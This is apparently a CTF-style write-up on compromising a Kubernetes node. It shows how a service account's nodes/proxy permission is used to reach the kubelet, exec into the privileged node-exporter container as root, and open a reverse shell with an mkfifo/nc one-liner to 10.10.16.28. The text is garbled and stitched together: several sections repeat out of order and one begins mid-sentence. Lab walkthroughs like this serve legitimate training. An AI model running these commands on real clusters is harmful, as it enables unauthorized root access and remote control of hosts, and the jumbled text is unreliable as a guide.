Kubelet EndpointWhat it does
/podsList all pods on the node
/exec/<ns>/<pod>/<container>Execute commands in any container
/run/<ns>/<pod>/<container>Run a command (simpler, non-interactive)
/configzKubelet configuration
/logs/Node log files
In other words nodes/proxy GET = RCE in any container on that node, without needing pods/exec permission, it completely bypasses the normal kubectl exec RBAC check.
You can read this blog to know more about this topic

Kubelet Enumeration (Port 10250)

Now we need to port forward the kubelet and enumerate interesting pods: Now we enumerate the pods:

 curl -sk https://127.0.0.1:10250/pods \
-H "Authorization: Bearer $TOKEN" | \
jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name) -> \([.spec.containers[].name])"'
 
kube-system/coredns-76c974cb66-cn7l6 -> ["coredns"]
kube-system/local-path-provisioner-8686667995-lp9th -> ["local-path-provisioner"]
kube-system/metrics-server-c8774f4f4-phw6q -> ["metrics-server"]
monitoring/prometheus-kube-state-metrics-7c8c787854-25j6q -> ["kube-state-metrics"]
monitoring/prometheus-server-867bb4fcfd-m4t59 -> ["prometheus-server-configmap-reload","prometheus-server"]
default/mcp-server-54464cb475-29ztf -> ["mcp-server"]
monitoring/prometheus-prometheus-node-exporter-nmntq -> ["node-exporter"]

Container Compromise (prometheus-node-exporter)

Out of all pods, prometheus-node-exporter is the ideal target because by design it needs:

  • Root privileges — to read system-level metrics (CPU, memory, disk)
  • Host filesystem mounted at /host — to report disk usage and filesystem stats
  • hostPID / hostNetwork — to monitor host processes and network interfaces

This means if we exec into it, we get root + direct access to the host filesystem.

  websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol v4.channel.k8s.io \
"wss://127.0.0.1:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?output=1&error=1&command=/bin/sh&command=-c&command=id"
 
uid=0(root) gid=65534(nobody) groups=10(wheel),65534(nobody)
{"metadata":{},"status":"Success"}

Host Filesystem Access & Node Escape

Now we go get our reverse shell!

  websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol v4.channel.k8s.io \
"wss://127.0.0.1:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?output=1&error=1&command=/bin/sh&command=-c&command=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.16.28%206969%20%3E%2Ftmp%2Ff"

URL Decoded: wss://127.0.0.1:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?output=1&error=1&command=/bin/sh&command=-c&command=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.28 6969 >/tmp/f

the API server

  • namespace — The namespace the pod runs in (default)

We now have to port forward the K8s API server to our machine, the K8s API server is at 10.43.0.1:443

ClusterIP only reachable from inside the cluster network. We can’t hit it directly from our attacker machine. We need to tunnel through our existing shell.

Now localhost:6443 on our machine reaches the K8s API through the compromised pod. Before interacting with the API we need to create a kubeconfig file, it’s a YAML config that bundles the server address, CA cert, and authentication token into one file. We will build one pointing at our port-forwarded API.

 ls
ca.crt  namespace  token
 
 
 export TOKEN=$(cat token)
 
kubectl config set-cluster fireflow \
  --server=https://127.0.0.1:6443 \
  --certificate-authority=$(pwd)/ca.crt \
  --embed-certs=true \
  --kubeconfig=kubeconfig.yaml
 
kubectl config set-credentials mcp-sa \
  --token="$TOKEN" \
  --kubeconfig=kubeconfig.yaml
 
kubectl config set-context fireflow \
  --cluster=fireflow --user=mcp-sa --namespace=default \
  --kubeconfig=kubeconfig.yaml
 
kubectl config use-context fireflow \
  --kubeconfig=kubeconfig.yaml
  
Cluster "fireflow" set.
User "mcp-sa" set.
Context "fireflow" created.
Switched to context "fireflow".

Now we’re set let’s start by enumerating our service account’s permissions

 kubectl --kubeconfig=kubeconfig.yaml auth can-i --list
 
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
                                                [/.well-known/openid-configuration/]   []               [get]
                                                [/.well-known/openid-configuration]    []               [get]
                                                [/api/*]                               []               [get]
                                                [/api]                                 []               [get]
                                                [/apis/*]                              []               [get]
                                                [/apis]                                []               [get]
                                                [/healthz]                             []               [get]
                                                [/healthz]                             []               [get]
                                                [/livez]                               []               [get]
                                                [/livez]                               []               [get]
                                                [/openapi/*]                           []               [get]
                                                [/openapi]                             []               [get]
                                                [/openid/v1/jwks/]                     []               [get]
                                                [/openid/v1/jwks]                      []               [get]
                                                [/readyz]                              []               [get]
                                                [/readyz]                              []               [get]
                                                [/version/]                            []               [get]
                                                [/version/]                            []               [get]
                                                [/version]                             []               [get]
                                                [/version]                             []               [get]
nodes/proxy                                     []                                     []               [get]

This command lists every permission the current identity ( mcp-sa ) has in the cluster, which resources it can access and what verbs (get, list, create, delete, etc.) are allowed. It’s the first thing you check after getting a SA token.

Without any further enum we hit the jackpot! nodes/proxy is a special K8s subresource that lets us proxy HTTP requests through the API server directly to the kubelet on a node. With get permission on nodes/proxy, we can hit:

  • /api/v1/nodes/<node-name>/proxy/<any-kubelet-endpoint> This means the API server acts as a pass-through to the kubelet. we’re effectively talking to kubelet:10250 through the API server on port 443.

Here’s some of the important endpoints we can use:

Kubelet EndpointWhat it does
/podsList all pods on the node
/exec/<ns>/<pod>/<container>Execute commands in any container
/run/<ns>/<pod>/<container>Run a command (simpler, non-interactive)
/configzKubelet configuration
/logs/Node log files
In other words nodes/proxy GET = RCE in any container on that node, without needing pods/exec permission, it completely bypasses the normal kubectl exec RBAC check.
You can read this blog to know more about this topic
Now we need to port forward the kubelet and enumerate interesting pods:
Now we enumerate the pods:
 curl -sk https://127.0.0.1:10250/pods \
-H "Authorization: Bearer $TOKEN" | \
jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name) -> \([.spec.containers[].name])"'
 
kube-system/coredns-76c974cb66-cn7l6 -> ["coredns"]
kube-system/local-path-provisioner-8686667995-lp9th -> ["local-path-provisioner"]
kube-system/metrics-server-c8774f4f4-phw6q -> ["metrics-server"]
monitoring/prometheus-kube-state-metrics-7c8c787854-25j6q -> ["kube-state-metrics"]
monitoring/prometheus-server-867bb4fcfd-m4t59 -> ["prometheus-server-configmap-reload","prometheus-server"]
default/mcp-server-54464cb475-29ztf -> ["mcp-server"]
monitoring/prometheus-prometheus-node-exporter-nmntq -> ["node-exporter"]

Out of all pods, prometheus-node-exporter is the ideal target because by design it needs:

  • Root privileges — to read system-level metrics (CPU, memory, disk)
  • Host filesystem mounted at /host — to report disk usage and filesystem stats
  • hostPID / hostNetwork — to monitor host processes and network interfaces

This means if we exec into it, we get root + direct access to the host filesystem.

  websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol v4.channel.k8s.io \
"wss://127.0.0.1:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?output=1&error=1&command=/bin/sh&command=-c&command=id"
 
uid=0(root) gid=65534(nobody) groups=10(wheel),65534(nobody)
{"metadata":{},"status":"Success"}

Now we go get our reverse shell!

  websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol v4.channel.k8s.io \
"wss://127.0.0.1:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?output=1&error=1&command=/bin/sh&command=-c&command=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.16.28%206969%20%3E%2Ftmp%2Ff"

URL Decoded: wss://127.0.0.1:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?output=1&error=1&command=/bin/sh&command=-c&command=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.28 6969 >/tmp/f